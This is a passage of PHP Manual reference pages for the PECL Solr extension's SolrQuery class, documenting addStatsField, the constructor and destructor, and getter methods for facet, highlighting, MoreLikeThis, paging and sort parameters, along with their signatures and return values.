Maps to stats.field parameter

  • « SolrQuery::addStatsFacet
  • SolrQuery::__construct »
  • PHP Manual
  • SolrQuery
  • Maps to stats.field parameter

SolrQuery::addStatsField

(PECL solr >= 0.9.2)

SolrQuery::addStatsField — Maps to stats.field parameter

Description

public SolrQuery SolrQuery::addStatsField ( string $field )

Maps to stats.field parameter This methods adds another stats.field parameter.

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • « SolrQuery::addStatsField
  • SolrQuery::__destruct »
  • PHP Manual
  • SolrQuery
  • Constructor

SolrQuery::__construct

(PECL solr >= 0.9.2)

SolrQuery::__construct — Constructor

Description

public SolrQuery::__construct ([ string $q ] )

Constructor.

Parameters

q

Optional search query

Return Values

None

Errors/Exceptions

Emits SolrIllegalArgumentException in case of an invalid parameter was passed.

Changelog

Version | Description
2.0.0 | If q was invalid, then an SolrIllegalArgumentException is now thrown. Previously an error was emitted.

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • « SolrQuery::__construct
  • SolrQuery::getFacet »
  • PHP Manual
  • SolrQuery
  • Destructor

SolrQuery::__destruct

(PECL solr >= 0.9.2)

SolrQuery::__destruct — Destructor

Description

public void SolrQuery::__destruct ( void )

Destructor

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the facet parameter

  • « SolrQuery::__destruct
  • SolrQuery::getFacetDateEnd »
  • PHP Manual
  • SolrQuery
  • Returns the value of the facet parameter

SolrQuery::getFacet

(PECL solr >= 0.9.2)

SolrQuery::getFacet — Returns the value of the facet parameter

Description

public bool SolrQuery::getFacet ( void )

Returns the value of the facet parameter.

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value for the facet.date.end parameter

  • « SolrQuery::getFacet
  • SolrQuery::getFacetDateFields »
  • PHP Manual
  • SolrQuery
  • Returns the value for the facet.date.end parameter

SolrQuery::getFacetDateEnd

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateEnd — Returns the value for the facet.date.end parameter

Description

public string SolrQuery::getFacetDateEnd ([ string $field_override ] )

Returns the value for the facet.date.end parameter. This method accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns all the facet.date fields

  • « SolrQuery::getFacetDateEnd
  • SolrQuery::getFacetDateGap »
  • PHP Manual
  • SolrQuery
  • Returns all the facet.date fields

SolrQuery::getFacetDateFields

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateFields — Returns all the facet.date fields

Description

public array SolrQuery::getFacetDateFields ( void )

Returns all the facet.date fields

Parameters

This function has no parameters.

Return Values

Returns all the facet.date fields as an array or NULL if none was set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the facet.date.gap parameter

  • « SolrQuery::getFacetDateFields
  • SolrQuery::getFacetDateHardEnd »
  • PHP Manual
  • SolrQuery
  • Returns the value of the facet.date.gap parameter

SolrQuery::getFacetDateGap

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateGap — Returns the value of the facet.date.gap parameter

Description

public string SolrQuery::getFacetDateGap ([ string $field_override ] )

Returns the value of the facet.date.gap parameter. It accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the facet.date.hardend parameter

  • « SolrQuery::getFacetDateGap
  • SolrQuery::getFacetDateOther »
  • PHP Manual
  • SolrQuery
  • Returns the value of the facet.date.hardend parameter

SolrQuery::getFacetDateHardEnd

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateHardEnd — Returns the value of the facet.date.hardend parameter

Description

public string SolrQuery::getFacetDateHardEnd ([ string $field_override ] )

Returns the value of the facet.date.hardend parameter. Accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value for the facet.date.other parameter

  • « SolrQuery::getFacetDateHardEnd
  • SolrQuery::getFacetDateStart »
  • PHP Manual
  • SolrQuery
  • Returns the value for the facet.date.other parameter

SolrQuery::getFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateOther — Returns the value for the facet.date.other parameter

Description

public array SolrQuery::getFacetDateOther ([ string $field_override ] )

Returns the value for the facet.date.other parameter. This method accepts an optional field override.

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the lower bound for the first date range for all date faceting on this field

  • « SolrQuery::getFacetDateOther
  • SolrQuery::getFacetFields »
  • PHP Manual
  • SolrQuery
  • Returns the lower bound for the first date range for all date faceting on this field

SolrQuery::getFacetDateStart

(PECL solr >= 0.9.2)

SolrQuery::getFacetDateStart — Returns the lower bound for the first date range for all date faceting on this field

Description

public string SolrQuery::getFacetDateStart ([ string $field_override ] )

Returns the lower bound for the first date range for all date faceting on this field. Accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns all the facet fields

  • « SolrQuery::getFacetDateStart
  • SolrQuery::getFacetLimit »
  • PHP Manual
  • SolrQuery
  • Returns all the facet fields

SolrQuery::getFacetFields

(PECL solr >= 0.9.2)

SolrQuery::getFacetFields — Returns all the facet fields

Description

public array SolrQuery::getFacetFields ( void )

Returns all the facet fields

Parameters

This function has no parameters.

Return Values

Returns an array of all the fields and NULL if none was set

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of constraint counts that should be returned for the facet fields

  • « SolrQuery::getFacetFields
  • SolrQuery::getFacetMethod »
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of constraint counts that should be returned for the facet fields

SolrQuery::getFacetLimit

(PECL solr >= 0.9.2)

SolrQuery::getFacetLimit — Returns the maximum number of constraint counts that should be returned for the facet fields

Description

public int SolrQuery::getFacetLimit ([ string $field_override ] )

Returns the maximum number of constraint counts that should be returned for the facet fields. This method accepts an optional field override

Parameters

field_override

The name of the field to override for

Return Values

Returns an integer on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the facet.method parameter

  • « SolrQuery::getFacetLimit
  • SolrQuery::getFacetMinCount »
  • PHP Manual
  • SolrQuery
  • Returns the value of the facet.method parameter

SolrQuery::getFacetMethod

(PECL solr >= 0.9.2)

SolrQuery::getFacetMethod — Returns the value of the facet.method parameter

Description

public string SolrQuery::getFacetMethod ([ string $field_override ] )

Returns the value of the facet.method parameter. This accepts an optional field override.

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum counts for facet fields should be included in the response

  • « SolrQuery::getFacetMethod
  • SolrQuery::getFacetMissing »
  • PHP Manual
  • SolrQuery
  • Returns the minimum counts for facet fields should be included in the response

SolrQuery::getFacetMinCount

(PECL solr >= 0.9.2)

SolrQuery::getFacetMinCount — Returns the minimum counts for facet fields should be included in the response

Description

public int SolrQuery::getFacetMinCount ([ string $field_override ] )

Returns the minimum counts for facet fields should be included in the response. It accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns an integer on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the current state of the facet.missing parameter

  • « SolrQuery::getFacetMinCount
  • SolrQuery::getFacetOffset »
  • PHP Manual
  • SolrQuery
  • Returns the current state of the facet.missing parameter

SolrQuery::getFacetMissing

(PECL solr >= 0.9.2)

SolrQuery::getFacetMissing — Returns the current state of the facet.missing parameter

Description

public bool SolrQuery::getFacetMissing ([ string $field_override ] )

Returns the current state of the facet.missing parameter. This accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a boolean on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns an offset into the list of constraints to be used for pagination

  • « SolrQuery::getFacetMissing
  • SolrQuery::getFacetPrefix »
  • PHP Manual
  • SolrQuery
  • Returns an offset into the list of constraints to be used for pagination

SolrQuery::getFacetOffset

(PECL solr >= 0.9.2)

SolrQuery::getFacetOffset — Returns an offset into the list of constraints to be used for pagination

Description

public int SolrQuery::getFacetOffset ([ string $field_override ] )

Returns an offset into the list of constraints to be used for pagination. Accepts an optional field override

Parameters

field_override

The name of the field to override for.

Return Values

Returns an integer on success and NULL if not set

User Contributed Notes

There are no user contributed notes for this page.


Returns the facet prefix

  • « SolrQuery::getFacetOffset
  • SolrQuery::getFacetQueries »
  • PHP Manual
  • SolrQuery
  • Returns the facet prefix

SolrQuery::getFacetPrefix

(PECL solr >= 0.9.2)

SolrQuery::getFacetPrefix — Returns the facet prefix

Description

public string SolrQuery::getFacetPrefix ([ string $field_override ] )

Returns the facet prefix

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the facet queries

  • « SolrQuery::getFacetPrefix
  • SolrQuery::getFacetSort »
  • PHP Manual
  • SolrQuery
  • Returns all the facet queries

SolrQuery::getFacetQueries

(PECL solr >= 0.9.2)

SolrQuery::getFacetQueries — Returns all the facet queries

Description

public array SolrQuery::getFacetQueries ( void )

Returns all the facet queries

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the facet sort type

  • « SolrQuery::getFacetQueries
  • SolrQuery::getFields »
  • PHP Manual
  • SolrQuery
  • Returns the facet sort type

SolrQuery::getFacetSort

(PECL solr >= 0.9.2)

SolrQuery::getFacetSort — Returns the facet sort type

Description

public int SolrQuery::getFacetSort ([ string $field_override ] )

Returns an integer (SolrQuery::FACET_SORT_INDEX or SolrQuery::FACET_SORT_COUNT)

Parameters

field_override

The name of the field

Return Values

Returns an integer (SolrQuery::FACET_SORT_INDEX or SolrQuery::FACET_SORT_COUNT) on success or NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the list of fields that will be returned in the response

  • « SolrQuery::getFacetSort
  • SolrQuery::getFilterQueries »
  • PHP Manual
  • SolrQuery
  • Returns the list of fields that will be returned in the response

SolrQuery::getFields

(PECL solr >= 0.9.2)

SolrQuery::getFields — Returns the list of fields that will be returned in the response

Description

public array SolrQuery::getFields ( void )

Returns the list of fields that will be returned in the response

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of filter queries

  • « SolrQuery::getFields
  • SolrQuery::getHighlight »
  • PHP Manual
  • SolrQuery
  • Returns an array of filter queries

SolrQuery::getFilterQueries

(PECL solr >= 0.9.2)

SolrQuery::getFilterQueries — Returns an array of filter queries

Description

public array SolrQuery::getFilterQueries ( void )

Returns an array of filter queries. These are queries that can be used to restrict the super set of documents that can be returned, without influencing score

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the state of the hl parameter

  • « SolrQuery::getFilterQueries
  • SolrQuery::getHighlightAlternateField »
  • PHP Manual
  • SolrQuery
  • Returns the state of the hl parameter

SolrQuery::getHighlight

(PECL solr >= 0.9.2)

SolrQuery::getHighlight — Returns the state of the hl parameter

Description

public bool SolrQuery::getHighlight ( void )

Returns a boolean indicating whether or not to enable highlighted snippets to be generated in the query response.

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the highlight field to use as backup or default

  • « SolrQuery::getHighlight
  • SolrQuery::getHighlightFields »
  • PHP Manual
  • SolrQuery
  • Returns the highlight field to use as backup or default

SolrQuery::getHighlightAlternateField

(PECL solr >= 0.9.2)

SolrQuery::getHighlightAlternateField — Returns the highlight field to use as backup or default

Description

public string SolrQuery::getHighlightAlternateField ([ string $field_override ] )

Returns the highlight field to use as backup or default. It accepts an optional override.

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the fields that Solr should generate highlighted snippets for

  • « SolrQuery::getHighlightAlternateField
  • SolrQuery::getHighlightFormatter »
  • PHP Manual
  • SolrQuery
  • Returns all the fields that Solr should generate highlighted snippets for

SolrQuery::getHighlightFields

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFields — Returns all the fields that Solr should generate highlighted snippets for

Description

public array SolrQuery::getHighlightFields ( void )

Returns all the fields that Solr should generate highlighted snippets for

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the formatter for the highlighted output

  • « SolrQuery::getHighlightFields
  • SolrQuery::getHighlightFragmenter »
  • PHP Manual
  • SolrQuery
  • Returns the formatter for the highlighted output

SolrQuery::getHighlightFormatter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFormatter — Returns the formatter for the highlighted output

Description

public string SolrQuery::getHighlightFormatter ([ string $field_override ] )

Returns the formatter for the highlighted output

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text snippet generator for highlighted text

  • « SolrQuery::getHighlightFormatter
  • SolrQuery::getHighlightFragsize »
  • PHP Manual
  • SolrQuery
  • Returns the text snippet generator for highlighted text

SolrQuery::getHighlightFragmenter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFragmenter — Returns the text snippet generator for highlighted text

Description

public string SolrQuery::getHighlightFragmenter ([ string $field_override ] )

Returns the text snippet generator for highlighted text. Accepts an optional field override.

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of characters of fragments to consider for highlighting

  • « SolrQuery::getHighlightFragmenter
  • SolrQuery::getHighlightHighlightMultiTerm »
  • PHP Manual
  • SolrQuery
  • Returns the number of characters of fragments to consider for highlighting

SolrQuery::getHighlightFragsize

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFragsize — Returns the number of characters of fragments to consider for highlighting

Description

public int SolrQuery::getHighlightFragsize ([ string $field_override ] )

Returns the number of characters of fragments to consider for highlighting. Zero implies no fragmenting. The entire field should be used.

Parameters

field_override

The name of the field

Return Values

Returns an integer on success or NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

  • « SolrQuery::getHighlightFragsize
  • SolrQuery::getHighlightMaxAlternateFieldLength »
  • PHP Manual
  • SolrQuery
  • Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

SolrQuery::getHighlightHighlightMultiTerm

(PECL solr >= 0.9.2)

SolrQuery::getHighlightHighlightMultiTerm — Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

Description

public bool SolrQuery::getHighlightHighlightMultiTerm ( void )

Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of characters of the field to return

  • « SolrQuery::getHighlightHighlightMultiTerm
  • SolrQuery::getHighlightMaxAnalyzedChars »
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of characters of the field to return

SolrQuery::getHighlightMaxAlternateFieldLength

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMaxAlternateFieldLength — Returns the maximum number of characters of the field to return

Description

public int SolrQuery::getHighlightMaxAlternateFieldLength ([ string $field_override ] )

Returns the maximum number of characters of the field to return

Parameters

field_override

The name of the field

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of characters into a document to look for suitable snippets

  • « SolrQuery::getHighlightMaxAlternateFieldLength
  • SolrQuery::getHighlightMergeContiguous »
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of characters into a document to look for suitable snippets

SolrQuery::getHighlightMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMaxAnalyzedChars — Returns the maximum number of characters into a document to look for suitable snippets

Description

public int SolrQuery::getHighlightMaxAnalyzedChars ( void )

Returns the maximum number of characters into a document to look for suitable snippets

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not the collapse contiguous fragments into a single fragment

  • « SolrQuery::getHighlightMaxAnalyzedChars
  • SolrQuery::getHighlightRegexMaxAnalyzedChars »
  • PHP Manual
  • SolrQuery
  • Returns whether or not the collapse contiguous fragments into a single fragment

SolrQuery::getHighlightMergeContiguous

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMergeContiguous — Returns whether or not the collapse contiguous fragments into a single fragment

Description

public bool SolrQuery::getHighlightMergeContiguous ([ string $field_override ] )

Returns whether or not the collapse contiguous fragments into a single fragment. Accepts an optional field override.

Parameters

field_override

The name of the field

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of characters from a field when using the regex fragmenter

  • « SolrQuery::getHighlightMergeContiguous
  • SolrQuery::getHighlightRegexPattern »
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of characters from a field when using the regex fragmenter

SolrQuery::getHighlightRegexMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexMaxAnalyzedChars — Returns the maximum number of characters from a field when using the regex fragmenter

Description

public int SolrQuery::getHighlightRegexMaxAnalyzedChars ( void )

Returns the maximum number of characters from a field when using the regex fragmenter

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the regular expression for fragmenting

  • « SolrQuery::getHighlightRegexMaxAnalyzedChars
  • SolrQuery::getHighlightRegexSlop »
  • PHP Manual
  • SolrQuery
  • Returns the regular expression for fragmenting

SolrQuery::getHighlightRegexPattern

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexPattern — Returns the regular expression for fragmenting

Description

public string SolrQuery::getHighlightRegexPattern ( void )

Returns the regular expression used for fragmenting

Parameters

This function has no parameters.

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the deviation factor from the ideal fragment size

  • « SolrQuery::getHighlightRegexPattern
  • SolrQuery::getHighlightRequireFieldMatch »
  • PHP Manual
  • SolrQuery
  • Returns the deviation factor from the ideal fragment size

SolrQuery::getHighlightRegexSlop

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexSlop — Returns the deviation factor from the ideal fragment size

Description

public float SolrQuery::getHighlightRegexSlop ( void )

Returns the factor by which the regex fragmenter can deviate from the ideal fragment size to accomodate the regular expression

Parameters

This function has no parameters.

Return Values

Returns a double on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns if a field will only be highlighted if the query matched in this particular field

  • « SolrQuery::getHighlightRegexSlop
  • SolrQuery::getHighlightSimplePost »
  • PHP Manual
  • SolrQuery
  • Returns if a field will only be highlighted if the query matched in this particular field

SolrQuery::getHighlightRequireFieldMatch

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRequireFieldMatch — Returns if a field will only be highlighted if the query matched in this particular field

Description

public bool SolrQuery::getHighlightRequireFieldMatch ( void )

Returns if a field will only be highlighted if the query matched in this particular field.

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text which appears after a highlighted term

  • « SolrQuery::getHighlightRequireFieldMatch
  • SolrQuery::getHighlightSimplePre »
  • PHP Manual
  • SolrQuery
  • Returns the text which appears after a highlighted term

SolrQuery::getHighlightSimplePost

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSimplePost — Returns the text which appears after a highlighted term

Description

public string SolrQuery::getHighlightSimplePost ([ string $field_override ] )

Returns the text which appears after a highlighted term. Accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text which appears before a highlighted term

  • « SolrQuery::getHighlightSimplePost
  • SolrQuery::getHighlightSnippets »
  • PHP Manual
  • SolrQuery
  • Returns the text which appears before a highlighted term

SolrQuery::getHighlightSimplePre

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSimplePre — Returns the text which appears before a highlighted term

Description

public string SolrQuery::getHighlightSimplePre ([ string $field_override ] )

Returns the text which appears before a highlighted term. Accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of highlighted snippets to generate per field

  • « SolrQuery::getHighlightSimplePre
  • SolrQuery::getHighlightUsePhraseHighlighter »
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of highlighted snippets to generate per field

SolrQuery::getHighlightSnippets

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSnippets — Returns the maximum number of highlighted snippets to generate per field

Description

public int SolrQuery::getHighlightSnippets ([ string $field_override ] )

Returns the maximum number of highlighted snippets to generate per field. Accepts an optional field override

Parameters

field_override

The name of the field

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the state of the hl.usePhraseHighlighter parameter

  • « SolrQuery::getHighlightSnippets
  • SolrQuery::getMlt »
  • PHP Manual
  • SolrQuery
  • Returns the state of the hl.usePhraseHighlighter parameter

SolrQuery::getHighlightUsePhraseHighlighter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightUsePhraseHighlighter — Returns the state of the hl.usePhraseHighlighter parameter

Description

public bool SolrQuery::getHighlightUsePhraseHighlighter ( void )

Returns whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document.

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not MoreLikeThis results should be enabled

  • « SolrQuery::getHighlightUsePhraseHighlighter
  • SolrQuery::getMltBoost »
  • PHP Manual
  • SolrQuery
  • Returns whether or not MoreLikeThis results should be enabled

SolrQuery::getMlt

(PECL solr >= 0.9.2)

SolrQuery::getMlt — Returns whether or not MoreLikeThis results should be enabled

Description

public bool SolrQuery::getMlt ( void )

Returns whether or not MoreLikeThis results should be enabled

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not the query will be boosted by the interesting term relevance

  • « SolrQuery::getMlt
  • SolrQuery::getMltCount »
  • PHP Manual
  • SolrQuery
  • Returns whether or not the query will be boosted by the interesting term relevance

SolrQuery::getMltBoost

(PECL solr >= 0.9.2)

SolrQuery::getMltBoost — Returns whether or not the query will be boosted by the interesting term relevance

Description

public bool SolrQuery::getMltBoost ( void )

Returns whether or not the query will be boosted by the interesting term relevance

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of similar documents to return for each result

  • « SolrQuery::getMltBoost
  • SolrQuery::getMltFields »
  • PHP Manual
  • SolrQuery
  • Returns the number of similar documents to return for each result

SolrQuery::getMltCount

(PECL solr >= 0.9.2)

SolrQuery::getMltCount — Returns the number of similar documents to return for each result

Description

public int SolrQuery::getMltCount ( void )

Returns the number of similar documents to return for each result

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the fields to use for similarity

  • « SolrQuery::getMltCount
  • SolrQuery::getMltMaxNumQueryTerms »
  • PHP Manual
  • SolrQuery
  • Returns all the fields to use for similarity

SolrQuery::getMltFields

(PECL solr >= 0.9.2)

SolrQuery::getMltFields — Returns all the fields to use for similarity

Description

public array SolrQuery::getMltFields ( void )

Returns all the fields to use for similarity

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of query terms that will be included in any generated query

  • « SolrQuery::getMltFields
  • SolrQuery::getMltMaxNumTokens »
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of query terms that will be included in any generated query

SolrQuery::getMltMaxNumQueryTerms

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxNumQueryTerms — Returns the maximum number of query terms that will be included in any generated query

Description

public int SolrQuery::getMltMaxNumQueryTerms ( void )

Returns the maximum number of query terms that will be included in any generated query

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

  • « SolrQuery::getMltMaxNumQueryTerms
  • SolrQuery::getMltMaxWordLength »
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

SolrQuery::getMltMaxNumTokens

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxNumTokens — Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

Description

public int SolrQuery::getMltMaxNumTokens ( void )

Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum word length above which words will be ignored

  • « SolrQuery::getMltMaxNumTokens
  • SolrQuery::getMltMinDocFrequency »
  • PHP Manual
  • SolrQuery
  • Returns the maximum word length above which words will be ignored

SolrQuery::getMltMaxWordLength

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxWordLength — Returns the maximum word length above which words will be ignored

Description

public int SolrQuery::getMltMaxWordLength ( void )

Returns the maximum word length above which words will be ignored

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

  • « SolrQuery::getMltMaxWordLength
  • SolrQuery::getMltMinTermFrequency »
  • PHP Manual
  • SolrQuery
  • Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

SolrQuery::getMltMinDocFrequency

(PECL solr >= 0.9.2)

SolrQuery::getMltMinDocFrequency — Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

Description

public int SolrQuery::getMltMinDocFrequency ( void )

Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the frequency below which terms will be ignored in the source document

  • « SolrQuery::getMltMinDocFrequency
  • SolrQuery::getMltMinWordLength »
  • PHP Manual
  • SolrQuery
  • Returns the frequency below which terms will be ignored in the source document

SolrQuery::getMltMinTermFrequency

(PECL solr >= 0.9.2)

SolrQuery::getMltMinTermFrequency — Returns the frequency below which terms will be ignored in the source document

Description

public int SolrQuery::getMltMinTermFrequency ( void )

Returns the frequency below which terms will be ignored in the source document

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum word length below which words will be ignored

  • « SolrQuery::getMltMinTermFrequency
  • SolrQuery::getMltQueryFields »
  • PHP Manual
  • SolrQuery
  • Returns the minimum word length below which words will be ignored

SolrQuery::getMltMinWordLength

(PECL solr >= 0.9.2)

SolrQuery::getMltMinWordLength — Returns the minimum word length below which words will be ignored

Description

public int SolrQuery::getMltMinWordLength ( void )

Returns the minimum word length below which words will be ignored

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the query fields and their boosts

  • « SolrQuery::getMltMinWordLength
  • SolrQuery::getQuery »
  • PHP Manual
  • SolrQuery
  • Returns the query fields and their boosts

SolrQuery::getMltQueryFields

(PECL solr >= 0.9.2)

SolrQuery::getMltQueryFields — Returns the query fields and their boosts

Description

public array SolrQuery::getMltQueryFields ( void )

Returns the query fields and their boosts

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the main query

  • « SolrQuery::getMltQueryFields
  • SolrQuery::getRows »
  • PHP Manual
  • SolrQuery
  • Returns the main query

SolrQuery::getQuery

(PECL solr >= 0.9.2)

SolrQuery::getQuery — Returns the main query

Description

public string SolrQuery::getQuery ( void )

Returns the main search query

Parameters

This function has no parameters.

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of documents

  • « SolrQuery::getQuery
  • SolrQuery::getSortFields »
  • PHP Manual
  • SolrQuery
  • Returns the maximum number of documents

SolrQuery::getRows

(PECL solr >= 0.9.2)

SolrQuery::getRows — Returns the maximum number of documents

Description

public int SolrQuery::getRows ( void )

Returns the maximum number of documents from the complete result set to return to the client for every request

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns all the sort fields

  • « SolrQuery::getRows
  • SolrQuery::getStart »
  • PHP Manual
  • SolrQuery
  • Returns all the sort fields

SolrQuery::getSortFields

(PECL solr >= 0.9.2)

SolrQuery::getSortFields — Returns all the sort fields

Description

public array SolrQuery::getSortFields ( void )

Returns all the sort fields

Parameters

This function has no parameters.

Return Values

Returns an array on success and NULL if none of the parameters was set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the offset in the complete result set

  • « SolrQuery::getSortFields
  • SolrQuery::getStats »
  • PHP Manual
  • SolrQuery
  • Returns the offset in the complete result set

SolrQuery::getStart

(PECL solr >= 0.9.2)

SolrQuery::getStart — Returns the offset in the complete result set

Description

public int SolrQuery::getStart ( void )

Returns the offset in the complete result set for the queries where the set of returned documents should begin.

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether or not stats is enabled

  • « SolrQuery::getStart
  • SolrQuery::getStatsFacets »
  • PHP Manual
  • SolrQuery
  • Returns whether or not stats is enabled

SolrQuery::getStats

(PECL solr >= 0.9.2)

SolrQuery::getStats — Returns whether or not stats is enabled

Description

